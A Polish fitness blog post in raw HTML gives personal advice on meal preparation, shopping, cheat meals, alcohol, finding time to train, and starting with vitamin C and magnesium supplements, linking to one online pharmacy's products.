wszyscy jesteśmy ludźmi i nie zawsze musimy mieć super formę, ale warto zawsze
balansować na jakimś dobrym poziomie <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span>
Nie licz na to, że jak obecnie pijesz 4 piwka dziennie, każdego dnia wpadają
batoniki, chipsy i przejdziesz na dietę na pół roku, a potem wszystko wróci do
normy to waga i wygląd ciała pozostaną. Niestety nie. Jeżeli już chcemy przez
długi czas dobrze wyglądać to musimy się pilnować i tylko od czasu do czasu
pozwalać sobie na drobne szaleństwa <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span>
(albo i te mniej drobne) Przed nami duże wyzwanie, czyli majówka, a jak majówka
to wiadomo, że grill plus piwko. O ile mięso z grilla niezdrowe nie jest to w
dużych ilościach i jedzone przez kilka dni w towarzystwie piwka już
niekoniecznie. Ale o zdrowym grillowaniu (i nie tylko) w innym wpisie. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: center;">
<b>Co sprawia na „diecie” największe problemy i jak sobie z tym radzić?<o:p></o:p></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
- <b>gotowanie</b> (na początku u mnie bardzo duży problem był z czasem
spędzonym w kuchni). Początkowo przygotowywałem każdy posiłek przed zjedzeniem
jednak na dłuższą metę jest to czasochłonne. Jeżeli ktoś lubi spędzać czas w
kuchni i nie ma innych zajęć to nie ma z tym problemu. Ja lubię szybko
przygotować, szybko zjeść i ruszać do dalszych zadań. Wolę spędzić wieczorem
godzinę w kuchni i mieć zrobioną kolację i trzy posiłki na następny dzień. Z
reguły omlety, naleśniki, serki, sałatki czy kanapki można spokojnie
przygotować dzień wcześniej i rano tylko podgrzać. Naleśnika i omleta zostawiam
sobie na patelniach, dodatki osobno i rano tylko podgrzewam placek i dodaje
dodatki całość trwa trzy minuty. Kurczaka i warzywa odgrzewam w piekarniku, a w
między czasie gotuję ryż bądź makaron. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-YdG38oXCJ4o/WuBHyO9XDuI/AAAAAAAADmA/S2uZekkr6hwkVZo0E7xwLw5KWNvRZVqnwCLcBGAs/s1600/20180206_182625.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://4.bp.blogspot.com/-YdG38oXCJ4o/WuBHyO9XDuI/AAAAAAAADmA/S2uZekkr6hwkVZo0E7xwLw5KWNvRZVqnwCLcBGAs/s320/20180206_182625.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-dFO3RC_5dcw/WuBHyQXSGqI/AAAAAAAADmE/MYZw658HGqgtix429ldgR1VKYzlGyJCZgCLcBGAs/s1600/20180304_083641.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="320" src="https://3.bp.blogspot.com/-dFO3RC_5dcw/WuBHyQXSGqI/AAAAAAAADmE/MYZw658HGqgtix429ldgR1VKYzlGyJCZgCLcBGAs/s320/20180304_083641.jpg" width="240" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b>RADA</b> – nie lubisz siedzieć w kuchni? Planuj posiłki i rób je
podczas jednej wizyty w kuchni „na zapas” oszczędzisz dużo czasu, a także tylko
raz będziesz zmywał naczynia czy też wykonywał czynności związane z gotowaniem,
a nie przed i po każdym posiłku <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span>
</div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
- <b>zakupy (</b>początkowo sprawiało mi problem kupowanie produktów, bo
albo za dużo albo za mało) </div>
<div class="MsoNormal" style="text-align: justify;">
Solidny plan w tym przypadku
również będzie naszym sprzymierzeńcem. Ja swoje zakupy dzielę właściwie na dwa
działy (mięso i resztę). Mięso kupuję jednego dnia i porcjuje na cały tydzień,
a potem mrożę, dzięki czemu szykując posiłki mam już gotowe odważone porcje. Resztę,
czyli nabiał i warzywa i owoce kupuję również raz w tygodniu z tym, że warzywa
i owoce raczej w mniejszych ilościach. Lepiej w trakcie tygodnia dokupić parę
sztuk niż na siłę jeść takie już nie pierwszej świeżości. Jeśli chodzi o źródła
węglowodanów jak makarony, ryże czy płatki oraz oliwy czy źródła tłuszczy takie
jak orzechy, migdały to kupuję w większych ilościach i mam spokój czasami na
cały miesiąc, jeśli chodzi o zakupy. Wystarczy od czasu do czasu monitorować
stan swoich szafek i lodówki by z wyprzedzeniem zaplanować kolejne zakupy.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-iFLz5grT5-E/WuBH3WFfs4I/AAAAAAAADmI/k2ZI1CA51cUo0KMsA-i5uHz1SiT3JjJLgCLcBGAs/s1600/20180323_184651.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://4.bp.blogspot.com/-iFLz5grT5-E/WuBH3WFfs4I/AAAAAAAADmI/k2ZI1CA51cUo0KMsA-i5uHz1SiT3JjJLgCLcBGAs/s320/20180323_184651.jpg" width="320" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b>RADA</b> – planuj zakupy pod jadłospis, dzięki czemu będziesz je robił
raz w tygodniu, a wszystkie produkty będą pod ręką. Moim zdaniem największa
strata czasu to robienie zakupów każdego dnia.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b>Odstępstwa od diety, niezdrowe produkty, imprezy, święta, alkohol, –
czyli</b> te wszystkie rzeczy, które Tygrysy lubią najbardziej. Nigdy nie ukrywałem,
że lubię alkohol szczególnie piwo niestety, ale w zdrowym stylu życia jest dla
niego bardzo mało miejsca. Pizza, chipsy, hamburgery to również rzeczy, o
których się marzy i czeka <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span>
podobnie jak święta czy jakaś impreza. Ja staram się na takie tematy
przeznaczyć jeden wieczór w tygodniu, chyba, że mam średni tydzień, jeśli
chodzi o treningi i nie bardzo jestem zadowolony z tego, co widzę w lustrze
oraz zauważyłem, że w tygodniu nie było progresu wtedy odpuszczam cheat meal.
Przy zmianie nawyków przez pierwsze trzy cztery tygodnie powinniśmy trzymać się
planu na 100% i nie stosować, cheat meal. Jeśli chodzi o święta to jest to taki
czas moim zdaniem, w którym można sobie pozwolić na dwa dni obżarstwa <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span> Święta są dwa razy w roku,
więc można poszaleć. Tylko pamiętajmy, że są to DWA dni, a nie tydzień. Często
jest tak, że jedzenie świąteczne jemy już przed świętami i dojadamy jeszcze dwa
dni po świętach. Warto w święta zaplanować jakąś aktywność tak by trochę
rozruszać nasz organizm i przyspieszyć metabolizm.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-LtjWF0Fpa4k/WuBIEx8EM5I/AAAAAAAADmQ/UWbUs1R2E8U7JhQUtMXSt6WaErNYrsLCQCLcBGAs/s1600/Party_f03cea_667507.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="369" data-original-width="418" height="282" src="https://3.bp.blogspot.com/-LtjWF0Fpa4k/WuBIEx8EM5I/AAAAAAAADmQ/UWbUs1R2E8U7JhQUtMXSt6WaErNYrsLCQCLcBGAs/s320/Party_f03cea_667507.jpg" width="320" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b>RADA – </b>Najgorsze, co może być to kontynuowanie, podjadania czy też
imprezy dzień po imprezie <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span>
Jakieś piwko na kaca czy jajecznica (wiecie, o czym mówię, ·) jeśli nasz
posiłek, który jest odstępstwem od diety jest na przykład w sobotę wieczorem to
od niedzieli rano wracamy już do normy. To samo tyczy się dnia po imprezie,
masz kaca i źle się czujesz <br />
? Niestety, ale najlepszym wyjściem jest zdrowe jedzenie od samego rana i
powrót do diety. W przeszłości to mnie często gubiło, ponieważ po piątkowej
imprezie cały weekend zmieniał się w festiwal podjadania i leczenia kaca <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span> Z doświadczenia wiem,
że na kaca najlepiej walnąć sobie rano 5 km biegu. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
- <b>trening, a właściwie brak czasu na jego wykonanie</b> – często narzekacie
na brak czasu na trening czy spacer bądź jakąś aktywność, a czy tak jest naprawdę?
Szkoda nam czasu na 45 min treningu, ale wieczorem potrafimy siedzieć 3 – 4 godziny
przed telewizorem. Trening to trochę opuszczanie strefy komfortu, musimy się
zmusić do wysiłku, zmęczyć, spocić, a tak trudno opuścić wygodną kanapę. Nie ma
recepty na to jak zacząć. Każdy musi się sam zmotywować, ale mogę potwierdzić,
że warto. Już po paru treningach będzie to Wam sprawiać przyjemność, a warto z
treningu na trening podnosić poprzeczkę i rywalizować samemu ze sobą. Czy to zwiększając
obciążenia czy na przykład wydłużając dystans? Pierwsze efekty od razu
zmotywują nas do dalszego działania. </div>
<div class="MsoNormal" style="text-align: justify;">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b>RADA</b> – twierdzisz, że nie masz czasu na treningi? Spróbuj różnych
godzin. Ja przez 1, 5 roku chodziłem na 6: 00 rano. Może akurat Tobie też
będzie dobrze się rano ćwiczyć. A może późnym wieczorem teraz siłownie są
otwarte nawet 24h. Jeśli nie potrafisz
się zmotywować to zapisz się na jakieś zajęcia grupowe nic tak nie motywuje jak
trening w grupie. Przetestuj różne opcje i różne godziny treningu, a na pewno
trafisz na swoją godzinę <span style="font-family: Wingdings; mso-ascii-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-char-type: symbol; mso-hansi-font-family: Calibri; mso-hansi-theme-font: minor-latin; mso-symbol-font-family: Wingdings;">J</span>
</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
- <b>suplementy</b> – nie jestem zwolennikiem kupowania suplementów bez
dobrej diety i treningów. Niestety większość osób najpierw kupuje, a potem stosuje,
co nie daje żadnych efektów, bo nie przestrzegają planu żywieniowego i nie trenują.
Suplementy mają nas wspierać, ale dopiero wtedy jak już trenujemy i zdrowo
jemy, one za nas tego nie zrobią mogą tylko pomoc. Osoby początkujące powinny
jedynie zaopatrzyć się w jakieś witaminy czy też magnez. Takie suplementy na
pewno Wam nie zaszkodzą, a na pewno wpłyną pozytywnie na nasz organizm.
Oczywiście nie jestem przeciwnikiem białka czy aminokwasów, ale początkujący
zdecydowanie powinni sięgać po witaminy czy też magnez. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b>RADA</b> – suplementy tak, ale dopiero po jakimś stażu treningowym. Na
początku polecam <a href="https://www.propharma24.pl/ProOdpornosc-10-sasz-Witamina-C-1000-mg">Witaminy</a>
i <a href="https://www.propharma24.pl/pl/p/ProMagnez%2C-10-saszetek%2C-40-g%2C-Cytrynian-Magnezu%2C-100-RWS/401">Magnez</a>.
A w późniejszym etapie po paru udanych treningach i pierwszych efektach można
sięgać po przedtreningówki, białka itp. </div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div style="background: white; margin: 0cm 0cm 0.0001pt; text-align: left;">
<b><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Witamina C wpływa
pozytywnie na organizm człowieka</span></b><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">:<o:p></o:p></span></div>
<div style="background: white; margin: 0cm 0cm 0.0001pt; outline: none 0px; text-align: left; transition: all 0.1s ease-in-out;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">• pomaga w <b>utrzymaniu
prawidłowego funkcjonowania układu odpornościowego</b>, także podczas
intensywnych ćwiczeń fizycznych,<o:p></o:p></span></div>
<div style="background: white; margin: 0cm 0cm 0.0001pt; outline: none 0px; text-align: left; transition: all 0.1s ease-in-out;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">• pomaga w
prawidłowej <b>produkcji kolagenu</b> w celu zapewnienia prawidłowego
funkcjonowania naczyń krwionośnych, kości, chrząstki, skóry, zębów i dziąseł,<o:p></o:p></span></div>
<div style="background: white; margin: 0cm 0cm 0.0001pt; outline: none 0px; text-align: left; transition: all 0.1s ease-in-out;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">• pomaga w
zachowaniu <b>prawidłowego metabolizmu</b> energetycznego, prawidłowym<b> funkcjonowaniu
układu nerwowego</b> oraz w <b>ochronie komórek przed stresem oksydacyjnym</b>,<o:p></o:p></span></div>
<div style="background: white; margin: 0cm 0cm 0.0001pt; text-align: left;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">• przyczynia się do
zmniejszenia uczucia zmęczenia i znużenia.<o:p></o:p></span></div>
<div style="background: white; margin: 0cm 0cm 0.0001pt; text-align: left;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-9hry5-rn7QE/WuBHLPb0l9I/AAAAAAAADlw/mu2EVO3j5pgt1BrKVloGywsRPklDOJXLACLcBGAs/s1600/e5b916f791656f76457d0eaf8b38afb8%2B%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="500" data-original-width="500" height="320" src="https://1.bp.blogspot.com/-9hry5-rn7QE/WuBHLPb0l9I/AAAAAAAADlw/mu2EVO3j5pgt1BrKVloGywsRPklDOJXLACLcBGAs/s320/e5b916f791656f76457d0eaf8b38afb8%2B%25281%2529.jpg" width="320" /></a></div>
<div style="background: white; margin: 0cm 0cm 0.0001pt; text-align: left;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
<div style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<br /></div>
<div style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<b><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Suplementacja magnezu </span></b><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">jest zalecana w:<o:p></o:p></span></div>
<div style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">•stanach zmęczenia,<o:p></o:p></span></div>
<div style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">•stanach
przeciążenia organizmu,<o:p></o:p></span></div>
<div style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">•podczas intensywnej
pracy umysłowej i fizycznej.<br />
<b>Magnez zawarty w ProMagnezie:</b><o:p></o:p></span></div>
<div style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">• przyczynia się do
zmniejszenia uczucia zmęczenia i znużenia,<br />
• przyczynia się do prawidłowego funkcjonowania układu nerwowego i mięśni,<br />
• przyczynia się do utrzymania prawidłowego metabolizmu energetycznego<br />
i równowagi elektrolitowej,<br />
• przyczynia się do utrzymania funkcji psychologicznych,<br />
• pomaga w utrzymaniu zdrowych kości i zębów oraz w syntezie białka,<br />
• odgrywa rolę w procesie podziału komórek.<o:p></o:p></span></div>
<div style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-38KLeZpdIc8/WuBHN_4RkVI/AAAAAAAADl0/iRTTRvmmh54uaqrYc7OHwbVelJ-2Tp84ACLcBGAs/s1600/Bez%25C2%25A0tytu%25C5%2582u.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="495" data-original-width="646" height="245" src="https://3.bp.blogspot.com/-38KLeZpdIc8/WuBHN_4RkVI/AAAAAAAADl0/iRTTRvmmh54uaqrYc7OHwbVelJ-2Tp84ACLcBGAs/s320/Bez%25C2%25A0tytu%25C5%2582u.jpg" width="320" /></a></div>
<div style="background: white; margin-bottom: .0001pt; margin: 0cm;">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
Zrzuć Brzuch!!!http://www.blogger.com/profile/12698801616736812386noreply@blogger.com5